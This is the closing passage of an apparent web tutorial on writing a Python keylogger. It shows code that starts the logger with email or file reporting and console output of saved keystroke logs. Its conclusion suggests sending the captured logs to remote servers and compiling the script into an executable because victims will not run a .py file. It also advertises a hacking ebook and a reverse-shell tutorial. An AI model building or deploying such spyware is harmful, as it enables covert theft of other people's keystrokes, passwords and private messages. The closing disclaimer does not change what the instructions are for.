    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    # if you want a keylogger to record keylogs to a local file 
    # (and then send it using your favorite method)
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()

If you want reports via email, then you should uncomment the first instantiation where we have report_method="email". Otherwise, if you want to report key logs via files into the current directory, then you should use the second one, report_method set to "file".

When you execute the script using email reporting, it will record your keystrokes, and after each minute, it will send all logs to the email, give it a try!

Here is what I got in my email after a minute:

This was actually what I pressed on my personal keyboard during that period!

When you run it with report_method="file" (default), then you should start seeing log files in the current directory after each minute:

And you’ll see output something like this in the console:

[+] Saved keylog-2020-12-18-150850_2020-12-18-150950.txt
[+] Saved keylog-2020-12-18-150950_2020-12-18-151050.txt
[+] Saved keylog-2020-12-18-151050_2020-12-18-151150.txt
[+] Saved keylog-2020-12-18-151150_2020-12-18-151250.txt
...

Get -10% OFF: Ethical Hacking with Python EBook.

Conclusion

Now you can extend this to send the log files across the network, or you can use Google Drive API to upload them to your drive, or you can even upload them to your FTP server.

Also, since no one will execute a .py file, you can build this code into an executable using open-source libraries such as Pyinstaller.

Finally, we have an EBook that is for ethical hackers like you, where we build 35+ hacking tools with Python from scratch! Make sure to check it out here.

Check the full code here.

DISCLAIMER: Note that I’m not responsible for using this code on a computer you don’t have permission to. Use it at your own risk!

Read Also: How to Create a Reverse Shell in Python.

Happy Coding ♥

View Full Code

Read Also

Comment panel